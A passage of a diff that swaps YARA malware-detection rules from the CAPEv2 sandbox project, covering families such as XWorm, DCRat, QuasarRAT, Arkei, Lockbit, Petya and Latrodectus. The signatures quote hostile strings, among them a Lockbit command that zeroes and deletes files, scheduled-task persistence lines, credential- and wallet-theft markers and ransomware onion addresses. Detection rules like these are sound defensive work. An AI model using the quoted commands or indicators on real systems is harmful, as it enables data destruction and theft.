"https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/BuerLoader.yar#L1-L12" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "05c1f008f0a2bb8232867977fb23a5ae8312f10f0637c6265561052596319c29" score = 75 - quality = 43 + quality = 70 tags = "FILE" - cape_type = "XWorm Payload" + cape_type = "BuerLoader Payload" strings: - $x1 = "XWorm " wide nocase - $x2 = /XWorm\s(V|v)\d+\.\d+/ fullword wide - $s1 = "RunBotKiller" fullword wide - $s2 = "XKlog.txt" fullword wide - $s3 = /(shell|reg)fuc/ fullword wide - $s4 = "closeshell" fullword ascii - $s5 = { 62 00 79 00 70 00 73 00 73 00 00 ?? 63 00 61 00 6c 00 6c 00 75 00 61 00 63 00 00 ?? 73 00 63 00 } - $s6 = { 44 00 44 00 6f 00 73 00 54 00 00 ?? 43 00 69 00 6c 00 70 00 70 00 65 00 72 00 00 ?? 50 00 45 00 } - $s7 = { 69 00 6e 00 6a 00 52 00 75 00 6e 00 00 ?? 73 00 74 00 61 00 72 00 74 00 75 00 73 00 62 } - $s8 = { 48 6f 73 74 00 50 6f 72 74 00 75 70 6c 6f 61 64 65 72 00 6e 61 6d 65 65 65 00 4b 45 59 00 53 50 4c 00 4d 75 74 65 78 78 00 } - $v2_1 = "PING!" fullword wide - $v2_2 = "Urlhide" fullword wide - $v2_3 = /PC(Restart|Shutdown)/ fullword wide - $v2_4 = /(Start|Stop)(DDos|Report)/ fullword wide - $v2_5 = /Offline(Get|Keylogger)/ wide - $v2_6 = "injRun" fullword wide - $v2_7 = "Xchat" fullword wide - $v2_8 = "UACFunc" fullword ascii wide + $trap = {0F 31 89 45 ?? 6A 00 8D 45 ?? 8B CB 50 E8 [4] 0F 31} + $decode = {8A 0E 84 C9 74 0E 8B D0 2A 0F 46 88 0A 42 8A 0E 84 C9 75 F4 5F 5E 5D C2 04 00} + $op = {33 C0 85 D2 7E 1? 3B C7 7D [0-15] 40 3B C2 7C ?? EB 02} condition: - uint16( 0 ) == 0x5a4d and ( ( 1 of ( $x* ) and ( 3 of ( $s* ) or 3 of ( $v2* ) ) ) or 6 of them ) + uint16( 0 ) == 0x5A4D and 2 of them } -rule CAPE_Xworm_Kingrat +rule CAPE_Hancitor : FILE { meta: - description = "No description has been set in the source file - CAPE" - author = "jeFF0Falltrades" - id = "76332a42-97c9-52fe-83dc-04ceb367f692" - date = "2024-10-09" - modified = "2025-02-03" + description = "Hancitor Payload" + author = "threathive" + id = "b4e9a26a-db00-5553-acc2-f35148b0ffd5" + date = "2019-10-30" + modified = "2020-10-20" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/AsyncRAT.yar#L138-L155" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "3914be652bb7271e5e6b89d05edf10a54f8ddaf9e22d194b60501aa2cdd495d3" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Hancitor.yar#L1-L14" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "84003542a2f587b5fbd43731c4240759806f8ee46df2bd96aae4a3c09d97e41c" score = 75 - quality = 66 - tags = "" - cape_type = "XWorm payload" + quality = 70 + tags = "FILE" + cape_type = "Hancitor Payload" strings: - $str_xworm = "xworm" wide ascii nocase - $str_xwormmm = "Xwormmm" wide ascii - $str_xclient = "XClient" wide ascii - $str_default_log = "\\Log.tmp" wide ascii - $str_create_proc = "/create /f /RL HIGHEST /sc minute /mo 1 /t" wide ascii - $str_ddos_start = "StartDDos" wide ascii - $str_ddos_stop = "StopDDos" wide ascii - $str_timeout = "timeout 3 > NUL" wide ascii - $byte_md5_hash = { 7e [3] 04 28 [3] 06 6f } - $patt_config = { 72 [3] 70 80 [3] 04 } + $fmt_string = "GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)" + $fmt_string2 = "GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x32)" + $ipfy = "http://api.ipify.org" + $user_agent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko" condition: - 5 of them and #patt_config >= 7 + uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Dcrat : FILE +rule CAPE_Petrwrap : FILE { meta: - description = "DCRat payload" - author = "ditekSHen" - id = "16c81fe0-2c18-55e9-aa17-cfd4213d6a17" - date = "2024-10-09" - modified = "2025-02-03" - reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/AsyncRAT.yar#L157-L222" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "5a02dcc2b9c7eb3efdba39047e37886240b45fb7e2db3b82aa5b4b9526dfb7f8" - score = 75 - quality = 20 - tags = "FILE" - cape_type = "DCRat Payload" - - strings: - $dc1 = "DCRatBuild" ascii - $dc2 = "DCStlr" ascii - $x1 = "px\">
DCRat Keylogger" wide - $x2 = "DCRat-Log#" wide - $x3 = "DCRat.Code" wide - $string1 = "CaptureBrowsers" fullword ascii - $string2 = "DecryptBrowsers" fullword ascii - $string3 = "Browsers.IE10" ascii - $string4 = "Browsers.Chromium" ascii - $string5 = "WshShell" ascii - $string6 = "SysMngmts" fullword ascii - $string7 = "LoggerData" fullword ascii - $plugin = "DCRatPlugin" fullword ascii - $av1 = "AntiVM" ascii wide - $av2 = "vmware" fullword wide - $av3 = "VirtualBox" fullword wide - $av4 = "microsoft corporation" fullword wide - $av5 = "VIRTUAL" fullword wide - $av6 = "DetectVirtualMachine" fullword ascii - $av7 = "Select * from Win32_ComputerSystem" fullword wide - $pl1 = "dcratAPI" fullword ascii - $pl2 = "dsockapi" fullword ascii - $pl3 = "file_get_contents" fullword ascii - $pl4 = "classthis" fullword ascii - $pl5 = "typemdt" fullword ascii - $pl6 = "Plugin_AutoStealer" ascii wide - $pl7 = "Plugin_AutoKeylogger" ascii wide - $v1 = "Plugin couldn't process this action!" wide - $v2 = "Unknown command!" wide - $v3 = "PLUGINCONFIGS" wide - $v4 = "Saving log..." wide - $v5 = "~Work.log" wide - $v6 = "MicrophoneNum" fullword wide - $v7 = "WebcamNum" fullword wide - $v8 = "%SystemDrive% - Slow" wide - $v9 = "%UsersFolder% - Fast" wide - $v10 = "%AppData% - Very Fast" wide - $v11 = /\[(Up|Down|Enter|ESC|CTRL|Shift|Win|Tab|CAPSLOCK: (ON|OFF))\]<\/span>/ wide - $px1 = "[Browsers] Scanned elements: " wide - $px2 = "[Browsers] Grabbing cookies" wide - $px3 = "[Browsers] Grabbing passwords" wide - $px4 = "[Browsers] Grabbing forms" wide - $px5 = "[Browsers] Grabbing CC" wide - $px6 = "[Browsers] Grabbing history" wide - $px7 = "[StealerPlugin] Invoke: " wide - $px8 = "[Other] Grabbing steam" wide - $px9 = "[Other] Grabbing telegram" wide - $px10 = "[Other] Grabbing discord tokens" wide - $px11 = "[Other] Grabbing filezilla" wide - $px12 = "[Other] Screenshots:" wide - $px13 = "[Other] Clipboard" wide - $px14 = "[Other] Saving system information" wide + description = "PetrWrap Payload" + author = "kevoreilly" + id = "83762c87-6e96-50fe-b297-e1a5f893be43" + date = "2019-10-30" + modified = "2022-06-09" + reference = "https://github.com/kevoreilly/CAPEv2" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/PetrWrap.yar#L1-L15" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "6dd1cf5639b63d0ab41b24080dad68d285f2e3969ad34fd724c83e7a0dd4b968" + score = 75 + quality = 70 + tags = "FILE" + cape_type = "PetrWrap Payload" + + strings: + $a1 = "http://petya3jxfp2f7g3i.onion/" + $a2 = "http://petya3sen7dyko2n.onion" + $b1 = "http://mischapuk6hyrn72.onion/" + $b2 = "http://mischa5xyix2mrhd.onion/" condition: - uint16( 0 ) == 0x5a4d and ( all of ( $dc* ) or all of ( $string* ) or 2 of ( $x* ) or 6 of ( $v* ) or 5 of ( $px* ) ) or ( $plugin and ( 4 of ( $av* ) or 5 of ( $pl* ) ) ) + uint16( 0 ) == 0x5A4D and ( any of ( $a* ) ) and ( any of ( $b* ) ) } -rule CAPE_Dcrat_Kingrat +rule CAPE_Sedreco : FILE { meta: - description = "No description has been set in the source file - CAPE" - author = "jeFF0Falltrades" - id = "9b63e361-6678-5c95-be32-777feecd194b" - date = "2024-10-09" - modified = "2025-02-03" + description = "Sedreco encrypt function entry" + author = "kevoreilly" + id = "5b9ee4af-50a4-597c-8fa5-f2094c312d23" + date = "2019-10-30" + modified = "2022-06-09" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/AsyncRAT.yar#L224-L243" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "73ac27c3f0fc71d053e89690b5a7d29c1f8b0ea0a22e8595148a9001799fae54" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Sedreco.yar#L1-L15" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "f735549606917f59a19157e604e54766e4456bc5d46e94cae3e0a3c18b52a7ca" score = 75 - quality = 62 - tags = "" - cape_type = "DCRat Payload" + quality = 70 + tags = "FILE" + cape_type = "Sedreco Payload" strings: - $venom_1 = "VenomRAT" wide ascii nocase - $venom_2 = "HVNC_REPLY_MESSAGE" wide ascii - $str_aes_exc = "masterKey can not be null or empty" wide ascii - $str_b64_amsi = "YW1zaS5kbGw=" wide ascii - $str_b64_virtual_protect = "VmlydHVhbFByb3RlY3Q=" wide ascii - $str_dcrat = "dcrat" wide ascii nocase - $str_plugin = "save_Plugin" wide ascii - $str_qwqdan = "qwqdan" wide ascii - $byte_aes_key_base = { 7E [3] 04 73 [3] 06 80 } - $patt_config = { 72 [3] 70 80 [3] 04 } - $patt_verify_hash = { 7e [3] 04 6f [3] 0a 6f [3] 0a 74 [3] 01 } + $encrypt1 = {55 8B EC 83 EC 2C 53 56 8B F2 57 8B 7D 08 B8 AB AA AA AA} + $encrypt2 = {55 8B EC 83 EC 20 8B 4D 10 B8 AB AA AA AA} + $encrypt64_1 = {48 89 4C 24 08 53 55 56 57 41 54 41 56 48 83 EC 18 45 8D 34 10 48 8B E9 B8 AB AA AA AA 4D 8B E1 44 89 44 24 60 41 F7 E0 8B F2 B8 AB AA AA AA} condition: - ( not any of ( $venom* ) ) and 5 of them and #patt_config >= 10 + uint16( 0 ) == 0x5A4D and $encrypt1 or $encrypt2 or $encrypt64_1 } -rule CAPE_Quasarrat : FILE +rule CAPE_Kronos : FILE { meta: - description = "QuasarRAT payload" - author = "ditekshen" - id = "f256b88f-eee6-5f8c-afd6-32ed10ea908d" - date = "2024-10-09" - modified = "2025-02-03" + description = "Kronos Payload" + author = "kevoreilly" + id = "921a939b-a037-5973-bd8e-f9f55fce7f0f" + date = "2019-10-30" + modified = "2020-07-02" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/AsyncRAT.yar#L245-L266" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "556b19dc0980761198ea31a285f281adae084463d24bff1eda15326436ad562b" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Kronos.yar#L1-L14" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "52ce9caf3627efe8ae86df6ca59e51e9f738e13ac0265f797e8d70123dbcaeb3" score = 75 quality = 70 tags = "FILE" - cape_type = "QuasarRAT Payload" + cape_type = "Kronos Payload" strings: - $s1 = "GetKeyloggerLogsResponse" fullword ascii - $s2 = "GetKeyloggerLogs" fullword ascii - $s3 = "/>Log created on" wide - $s4 = "User: {0}{3}Pass: {1}{3}Host: {2}" wide - $s5 = "Domain: {1}{0}Cookie Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}" wide - $s6 = "grabber_" wide - $s7 = "" ascii - $s8 = "k__BackingField" fullword ascii - $s9 = "" ascii - $s10 = "add_OnHotKeysDown" ascii - $mutex = "QSR_MUTEX_" ascii wide - $ua1 = "Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0" fullword wide - $us2 = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A" fullword wide + $a1 = "user_pref(\"network.cookie.cookieBehavior\"" + $a2 = "T0E0H4U0X3A3D4D8" + $a3 = "wow64cpu.dll" wide + $a4 = "Kronos" fullword ascii wide condition: - uint16( 0 ) == 0x5a4d and ( $mutex or ( all of ( $ua* ) and 2 of them ) or 6 of ( $s* ) ) + uint16( 0 ) == 0x5A4D and ( 2 of ( $a* ) ) } -rule CAPE_Quasarrat_Kingrat +rule CAPE_Jaff : FILE { meta: - description = "No description has been set in the source file - CAPE" - author = "jeFF0Falltrades" - id = "dc0139e1-9f69-51da-b28f-212358b2f68b" - date = "2024-10-09" - modified = "2025-02-03" + description = "Jaff Payload" + author = "kevoreilly" + id = "6681c1fe-6c88-5a49-bdfa-54ce08ea6707" + date = "2019-10-30" + modified = "2019-10-30" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/AsyncRAT.yar#L268-L287" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "1f4296a592134edbe52e256dc353143af02e897ff1afad98f3dac0c5ab13f3f7" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Jaff.yar#L1-L14" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "6806a5eeee04b7436ff694addc334bfc0f1ee611116904d57be9506acfd47418" + score = 75 + quality = 70 + tags = "FILE" + cape_type = "Jaff Payload" + + strings: + $a1 = "CryptGenKey" + $a2 = "353260540318613681395633061841341670181307185694827316660016508" + $b1 = "jaff" + $b2 = "2~1c0q4t7" + + condition: + uint16( 0 ) == 0x5A4D and ( any of ( $a* ) ) and ( 1 of ( $b* ) ) +} +rule CAPE_Latrodectus_1 +{ + meta: + description = "Latrodectus Payload" + author = "enzok" + id = "956b6736-b3ef-5974-b3dd-02d04336dbe8" + date = "2024-01-18" + modified = "2025-05-10" + reference = "https://github.com/kevoreilly/CAPEv2" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Latrodectus.yar#L1-L16" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "a547cff9991a713535e5c128a0711ca68acf9298cc2220c4ea0685d580f36811" + logic_hash = "a8430299930f4c8de0a88c6836d4821871f7183cc5ff44ea9be84fbea47bbb13" score = 75 quality = 70 tags = "" - cape_type = "QuasarRAT Payload" + cape_type = "Latrodectus Payload" strings: - $str_quasar = "Quasar." wide ascii - $str_hidden = "set_Hidden" wide ascii - $str_shell = "DoShellExecuteResponse" wide ascii - $str_close = "echo DONT CLOSE THIS WINDOW!" wide ascii - $str_pause = "ping -n 10 localhost > nul" wide ascii - $str_aes_exc = "masterKey can not be null or empty" wide ascii - $byte_aes_key_base = { 7E [3] 04 73 [3] 06 25 } - $byte_aes_salt_base = { BF EB 1E 56 FB CD 97 3B B2 19 } - $byte_special_folder = { 7e 73 [4] 28 [4] 80 } - $patt_config = { 72 [3] 70 80 [3] 04 } - $patt_verify_hash = { 7e [3] 04 6f [3] 0a 6f [3] 0a 74 [3] 01 } + $fnvhash1 = {C7 04 24 C5 9D 1C 81 48 8B 44 24 20 48 89 44 24 08} + $fnvhash2 = {8B 0C 24 33 C8 8B C1 89 04 24 69 04 24 93 01 00 01} + $procchk1 = {E8 [3] FF 85 C0 74 [2] FF FF FF FF E9 [4] E8 [4] 89 44 24 ?? E8 [4] 83 F8 4B 73 ?? 83 [3] 06} + $procchk2 = {72 [2] FF FF FF FF E9 [4] E8 [4] 83 F8 32 73 ?? 83 [3] 06} + $version = {C7 44 2? ?? ?? 00 00 00 C7 44 2? ?? ?? 00 00 00 8B 05 [4] 89} condition: - 6 of them and #patt_config >= 10 + all of them } -rule CAPE_Buerloader_1 : FILE +rule CAPE_Latrodectus_AES { meta: - description = "No description has been set in the source file - CAPE" - author = "kevoreilly & Rony (@r0ny_123)" - id = "95a9b4d7-db1e-50cd-bc08-01e4e4fd6dc4" - date = "2020-10-29" - modified = "2022-05-31" + description = "Latrodectus Payload" + author = "enzok" + id = "16c295f5-cea0-57b5-b826-e1126e50c8cc" + date = "2024-01-18" + modified = "2025-05-10" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/BuerLoader.yar#L1-L12" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "05c1f008f0a2bb8232867977fb23a5ae8312f10f0637c6265561052596319c29" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Latrodectus.yar#L18-L34" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "5cecb26a3f33c24b92a0c8f6f5175da0664b21d7c4216a41694e4a4cad233ca8" + logic_hash = "058d278c16527969066d1b4ea7f0e3ab2809d5480cdab06ec476b465e0c4795a" score = 75 quality = 70 - tags = "FILE" - cape_type = "BuerLoader Payload" + tags = "" + cape_type = "Latrodectus Payload" strings: - $trap = {0F 31 89 45 ?? 6A 00 8D 45 ?? 8B CB 50 E8 [4] 0F 31} - $decode = {8A 0E 84 C9 74 0E 8B D0 2A 0F 46 88 0A 42 8A 0E 84 C9 75 F4 5F 5E 5D C2 04 00} - $op = {33 C0 85 D2 7E 1? 3B C7 7D [0-15] 40 3B C2 7C ?? EB 02} + $fnvhash1 = {C7 04 24 C5 9D 1C 81 48 8B 44 24 20 48 89 44 24 08} + $fnvhash2 = {8B 0C 24 33 C8 8B C1 89 04 24 69 04 24 93 01 00 01} + $key = {C6 44 2? ?? ?? [150] C6 44 2? ?? ?? B8 02} + $aes_ctr_1 = {8B 44 24 ?? FF C8 89 44 24 ?? 83 7C 24 ?? 00 7C ?? 4? 63 44 24 ?? 4? 8B 4C 24 ?? 0F B6 84 01 F0 00 00 00 3D FF 00 00 00} + $aes_ctr_2 = {48 03 C8 48 8B C1 0F B6 ?? 48 63 4C 24 ?? 0F B6 4C 0C ?? 33 C1 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 03 D1 48 8B CA 88 01} + $version = {C7 44 2? ?? ?? 00 00 00 C7 44 2? ?? ?? 00 00 00 8B 05 [4] 89} condition: - uint16( 0 ) == 0x5A4D and 2 of them + all of them } -rule CAPE_Scarab : FILE +rule CAPE_Blister_1 : FILE { meta: - description = "Scarab Payload" + description = "Blister Loader" author = "kevoreilly" - id = "2ba8ae50-1e56-5773-aaea-058161b59c78" - date = "2019-10-30" - modified = "2019-10-30" + id = "525fc600-2afc-5cf6-bf55-4ce0ea264dca" + date = "2022-05-10" + modified = "2023-09-20" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Scarab.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "0d8fa7ab4c8e5699f17f9e9444e85a42563a840a8e7ee9eda54add3a6845d1c6" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Blister.yar#L1-L17" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2" + hash = "d3eab2a134e7bd3f2e8767a6285b38d19cd3df421e8af336a7852b74f194802c" + logic_hash = "f26d85fdf0eb07e67fe38c43c5f6d024bfb7b2a333cb3411f5cdcff6bf5db12d" score = 75 quality = 70 tags = "FILE" - cape_type = "Scarab Payload" + cape_type = "Blister Loader" strings: - $crypt1 = {8B D8 32 1A 0F B6 DB 8B 1C 9F C1 E8 08 33 D8 8B C3 42 8B D8 32 1A 0F B6 DB 8B 1C 9F C1 E8 08 33 D8 8B C3 42 8B D8 32 1A 0F B6 DB 8B 1C 9F C1 E8 08} - $crypt2 = {8B 4C 82 0C 8B D9 C1 E3 18 C1 E9 08 0B D9 8B CB 0F B6 D9 8B 1C 9D AC 0C 43 00 89 5C 24 04 8B D9 C1 EB 08 0F B6 DB 8B 34 9D AC 0C 43 00 8B D9 C1 EB 10} - $crypt3 = {8B 13 8B CA 81 E1 80 80 80 80 8B C1 C1 E8 07 50 8B C1 59 2B C1 25 1B 1B 1B 1B 8B CA 81 E1 7F 7F 7F 7F 03 C9 33 C1 8B C8 81 E1 80 80 80 80 8B F1 C1 EE 07} + $protect1 = {50 6A 20 8D 45 ?? 50 8D 45 ?? 50 6A FF FF D7} + $protect2 = {48 83 C9 FF 48 8D 55 ?? FF D6 48 8D 87 [2] 00 00 48 8D 4D ?? FF D0} + $lock1 = {B9 FF FF FF 7F 89 75 FC 8B C1 F0 FF 45 FC 83 E8 01 75} + $lock2 = {B8 FF FF FF 7F 41 BC 01 00 00 00 89 45 40 F0 FF 4D 40 49 2B C4 75} + $decode = {0F BE C0 49 03 CC 41 33 C1 44 69 C8 [4] 41 8B C1 C1 E8 0F 44 33 C8 8A 01 84 C0 75 E1 41 81 F9 [4] 74} condition: - uint16( 0 ) == 0x5A4D and all of them + uint16( 0 ) == 0x5A4D and 2 of them } -rule CAPE_Arkei : FILE +rule CAPE_Lockbit : FILE { meta: - description = "Arkei Payload" - author = "kevoreilly, YungBinary" - id = "18363a5b-46f3-5d11-9bc6-a91f81b49706" - date = "2019-10-30" - modified = "2025-01-10" + description = "Lockbit Payload" + author = "kevoreilly" + id = "ec9b4fec-0233-5277-b922-07057c2b4b34" + date = "2020-05-14" + modified = "2022-06-09" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Arkei.yar#L1-L50" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "296e420880d8d2f24424d0411e7ef4939e18147689557512f410da48498a44c9" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Lockbit.yar#L1-L15" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "80ab705c8246a0bd5b3de65146cf32b102f39bf9444bdf1d366b5a794c1229b9" score = 75 quality = 70 tags = "FILE" - cape_type = "Arkei Payload" + cape_type = "Lockbit Payload" strings: - $string1 = "Windows_Antimalware_Host_System_Worker" - $string2 = "Arkei" - $string3 = "Bitcoin\\wallet.dat" - $string4 = "Ethereum\\keystore" - $v1 = "C:\\Windows\\System32\\cmd.exe" fullword ascii wide - $v2 = "/c taskkill /im " fullword ascii - $v3 = "card_number_encrypted FROM credit_cards" ascii - $v4 = "\\wallet.dat" ascii - $v5 = "Arkei/" wide - $v6 = "files\\passwords." ascii wide - $v7 = "files\\cc_" ascii wide - $v8 = "files\\autofill_" ascii wide - $v9 = "files\\cookies_" ascii wide - $loaded_modules = { - 64 A1 30 00 00 00 - 8B 40 0C - 8B 40 0C - 8B 00 - 8B 00 - 8B 40 18 - 89 45 FC - 8B 45 FC - 8B E5 - 5D - C3 - } - $language_check = { - FF 15 ?? ?? ?? ?? - 0F B7 C0 - 89 45 ?? - 81 7D ?? 3F 04 ?? ?? - 7F - } - $ext1 = ".zoo" ascii - $ext2 = ".arc" ascii + $string1 = "/C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 \"%s\" & Del /f /q \"%s\"" wide + $string2 = "Ransom" ascii wide + $crypto = {8B 4D 08 C1 E9 10 0F B6 D1 8B 4D 0C C1 E9 08 0F B6 C9 8B 14 95 [4] 8B 7D FC 33 14 8D [4] 8B CF C1 E9 18 33 14 8D [4] 0F B6 CB 33 14 8D [4] 8B CF 33 10} + $decode1 = {8A ?4 34 ?C 0? 00 00 8B 8? 24 ?8 0? 00 00 0F BE ?? 0F BE C? 33 ?? 88 ?? 34 ?? 0? 00 00 46 83 FE 0? 72 DD} + $decode2 = {8A 44 24 ?? 30 44 0C ?? 41 83 F9 ?? 72 F2} condition: - uint16( 0 ) == 0x5A4D and ( ( $loaded_modules and $language_check and $ext1 and $ext2 ) or ( all of ( $string* ) or 7 of ( $v* ) ) ) + uint16( 0 ) == 0x5A4D and ( 2 of them ) } -rule CAPE_Cerber : FILE +rule CAPE_Bazar : FILE { meta: - description = "Cerber Payload" + description = "No description has been set in the source file - CAPE" author = "kevoreilly" - id = "edf08795-cf54-5822-8bc4-35cfba0fe8e8" - date = "2019-10-30" + id = "e042f180-2a82-5c93-9858-77281557dd10" + date = "2021-08-26" modified = "2022-06-09" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Cerber.yar#L1-L12" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "16a8f808c28d3b142c079a305aba7f553f2452e439710bf610a06f8f2924d5a3" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Bazar.yar#L1-L11" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "9375f59b56e47fd0b90b089afdf3be8f16f960038fc625523a2e2d5509ab099d" score = 75 quality = 70 tags = "FILE" - cape_type = "Cerber Payload" + cape_type = "Bazar Payload" strings: - $code1 = {33 C0 66 89 45 8? 8D 7D 8? AB AB AB AB AB [0-2] 66 AB 8D 45 8? [0-3] E8 ?? ?? 00 00} + $decode = {F7 E9 [0-2] C1 FA 0? 8B C2 C1 E8 1F 03 D0 6B C2 ?? 2B C8} + $rsa = {C7 00 52 53 41 33 48 8D 48 09 C7 40 04 00 08 00 00 4C 8D 05 [3] 00 C6 40 08 03 B8 09 00 00 00 [0-3] 48 8D 89 80 00 00 00 41 0F 10 00} condition: - uint16( 0 ) == 0x5A4D and all of them + uint16( 0 ) == 0x5A4D and 2 of them } -rule CAPE_Squirrelwaffle : FILE +rule CAPE_Petya : FILE { meta: - description = "No description has been set in the source file - CAPE" - author = "kevoreilly & R3MRUM" - id = "0ae75f24-7a2a-57d3-8c6f-a61ac6cc08e7" - date = "2021-09-22" - modified = "2021-10-13" + description = "Petya Payload" + author = "kevoreilly" + id = "e581747c-c40f-5689-84b4-d55134b532f7" + date = "2019-10-30" + modified = "2019-10-30" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/SquirrelWaffle.yar#L1-L11" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "5f799333398421d537ec7a87ca94f6cc9cf1e53e55b353036a5132440990e500" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Petya.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "f819261bb34f3b2eb7dc2f843b56be25105570fe902a77940a632a54fbe0d014" score = 75 quality = 70 tags = "FILE" - cape_type = "SquirrelWaffle Payload" + cape_type = "Petya Payload" 